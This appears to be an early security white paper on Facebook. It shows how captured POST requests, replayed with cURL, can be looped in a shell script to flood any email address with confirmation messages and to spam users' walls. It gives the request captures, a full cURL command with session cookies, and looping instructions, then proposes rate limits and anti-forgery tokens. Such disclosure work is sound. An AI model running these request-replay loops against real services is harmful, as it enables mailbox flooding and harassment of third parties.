Demonstrating the Insecurity of Facebook

Cody Rester, cyphersecurity

<cypherxero@gmail.com>

www.cypherxero.net/security

Abstract. We demonstrate in this paper how to manipulate HTTP POST requests to Facebook, to automate actions meant to spam users of Facebook, as well as people who don't use Facebook.

1. Introduction

A POST request is part of the HTTP Protocol specification that submits data to a server. Most, if not all websites use POST methods to send data back to the server. A common use for POST requests is to submit user login creditentials to the server, verifying the username and password. Facebook uses POST requests for many things, such as posting on a user's Wall, submitting posted items, and other functions on the site.

2. Vulnerability with Unchecked POST Requests

The problem with POST requests is when the requests are allowed to be submitted without being checked for unauthorized uses. One such method to curb, if not completely stop unauthorized requests, is to include a random ID string that is sent with the rest of the data submitted to the server. A typical POST request looks like such:

```
POST /login.jsp HTTP/1.1
Host:  www.mysite.com
User-Agent:  Mozilla/4.0
Content-Length:  27
Content-Type:  application/x-www-form-urlencoded
userid=joe&password=guessme
```

As you can see from the above example, the script that is accepting the data is login.jsp, located at www.mysite.com. The User-Agent is Mozilla/4.0, which tells the server what browser the user has. Content-Type tells the server that it's a www-form-urlencoded

data, which accepts a string that the server knows how to parse. The actual data is seen on the last line, starting with userid. The format is variableOne=data&variableTwo=more%20data. This one string can be as long as needed, but is typically comprised of five variables or less.

3. Capturing POST Requests to Spam

In order to capture and view requests sent to and from Facebook, we used a utility called "Wireshark". This program captures packets and saves them in the standard packet capture (pcap) format. Let's take a look at the first flaw, Email Confirmation Resend.

3.1 Email Confirmation Resend Flaw

Under Facebook, you can change or add a new email address in your account, incase you want to use another address other than the original one you signed up for. Upon entering and saving the new email address, a confirmation email is automatically sent out to the email address. In the email, a link to verify the address is present, and once clicked, finishes the addition of a new address. Under the circumstance that one did not receive the confirmation email, there's a link under your account settings to resend another message. Clicking this link will automatically send another email to the address, even though our first message has arrived, resulting in two messages now. Using Wireshark to capture the POST request, we get this:

```
POST /editaccount.php HTTP/1.1
Host:  usouthal.facebook.com
User-Agent:  Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
Accept:  */*
Accept-Language:  en-us,en;q=0.5
Accept-Encoding:  gzip,deflate
Accept-Charset:  ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:  300
Connection:  keep-alive
Referer:  http://usouthal.facebook.com/editaccount.php
Cookie:login=email%40jaguar1.usouthal.edu;...
Content-Type:  application/x-www-form-urlencoded
Content-Length:  62
resend=undefined&post_form_id=92cbdd8b5082cb1262d788ed912fdeea
```

From the captured POST request, we can see that it's sending the data "resend=undefined", followed by the form ID, which just represents which form on Facebook is being used to send the data. We also see that we came from "editaccount.php", and we're sending the data to the same file. Our User-Agent is Firefox 2.0.0.3 (which was used to generate this request), and finally is our cookie data, which we'll get to in a few moments.

We can simulate a real POST request using cURL, which is a program that can be used to talk to servers with HTTP protocols. Since this is going to require our cookies, log into Facebook with your browser, and view your cookies, and copy down all the variables and their values. If you get logged out, you'll have to log back in and update the cookies. The cURL command used to simulate the above request looks like:

```
curl -s -A "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" -e
"http://usouthal.facebook.com/editaccount.php"
-b"__qca=1178577059-50633160-50326522;__qcb=1772082387;

test_cookie=1;login=email...;

xs=4c21eb42f5d92e61600650b63035586d0; c_user=11207772" -d
"resend=&post_form_id=85ed1674c0fc9b34206916698d2c8b71"
http://usouthal.facebook.com/editaccount.php
```

In cURL, here's a list of the flags we're using, and the format below the flags

-s Silent Output
-A User-Agent
-e Referrer
-b Cookie String
-d POST Data String

```
curl -s -A [User-Agent] -e [Referrer] -b [Cookies] -d [POST String]
www.site.com/post.php
```

Using the command line to execute the command, the data is sent to the server. We're authenticated using our cookies, and the POST request is sent. In this case, we're telling the Facebook server that we want to resend another confirmation email, and therein lies the problem. The server thinks that we're using the Firefox browser, that we came from editaccount.php, and the POST string is the exact format it's expecting. Now, all we need to do is put this cURL command into a UNIX shell script, and put it in an infinite do...while loop. To make sure that we don't alert the server to what we're doing, we'll also choose to sleep (pause) for two (2) seconds before executing the cURL string again. Each execution of the command will result in another email sent to any email address of your choice. This allows someone to spam an email address, using Facebook as the middle-man to do all the work.

3.2 Wall Message Spam Flaw

In Facebook, the "Wall" is located on each user's profile page, and allows another Facebook user to leave a comment on his/her wall. The Wall is visible to everyone, and is also included in the News section after first logging into Facebook. Writing a comment on a friend's Wall uses the same exact POST method as our confirmation email method. Using Wireshark again, we record the POST after submitting a comment to a friend's wall. The data string sent to the server looks like such:

```
to=11207442&from=51007629&text=Facebook%20spam&post_form_id=e6644...
```

Using the same template shell script as before, we simply modifiy it to send this new data string to the appropriate script on Facebook. Now, when executed, every second, a post will be made on the users wall (in our example, it will post the message "Facebook spam" over and over).

4. Solution

One solution for this problem is to not allow for resending of confirmation emails. While this is the best option, it's not good for the users on the site if they need the email resent for legit purposes. So, a more practical approach is to only allow up to two (2) confirmation emails to be resent. There shouldn't be a need for more than two resent emails, so this should work perfectly. If for some reason more than two emails are needed, they will have to wait 24

to 48 hours afterwards to try again. A maximum limit of 10 resends account per lifetime of the account would ultimately prevent any major spamming of any kind. For Wall posts, there is a limit, but it takes far too many messages to reach the upper limit. I suggest reducing the the limit and time down to an acceptable level. Last but not least, encrypted, random numbers should be used to verify that the POST request is really coming from a web browser, and not another program, such as cURL. This would ensure that each and every time a user makes a post on the wall (or any other POST requests), that they would have to have the correct response to a crytographic challenge.

5. Conclusion

This flaw represents a major problem in the Facebook software. Spamming (no matter the content of the message) is very bad, and to have Facebook the unwitting third party between the spammer and victim is something that needs to change. While this form of spamming doesn't allow someone to send a traditional "spam" message, it does allow someone to flood a person's mailbox with unwanted messages. On mail servers that have a small storage limit, one could theoretically flood their mailbox so that the victim couldn't receive any emails. For most mail servers (like Gmail), this really isn't a problem with close to three gigabytes of storage, but it should be looked at seriously, no matter what the implications are. Also, allowing someone to send POST requests without being authenticated each time can lead to Wall spam, along with other types of spam. Not included in this white paper is the fact that you can also spam Posted Items, and also adding friends in Facebook automatically. I hope this document will demonstrate the need for better security on Facebook.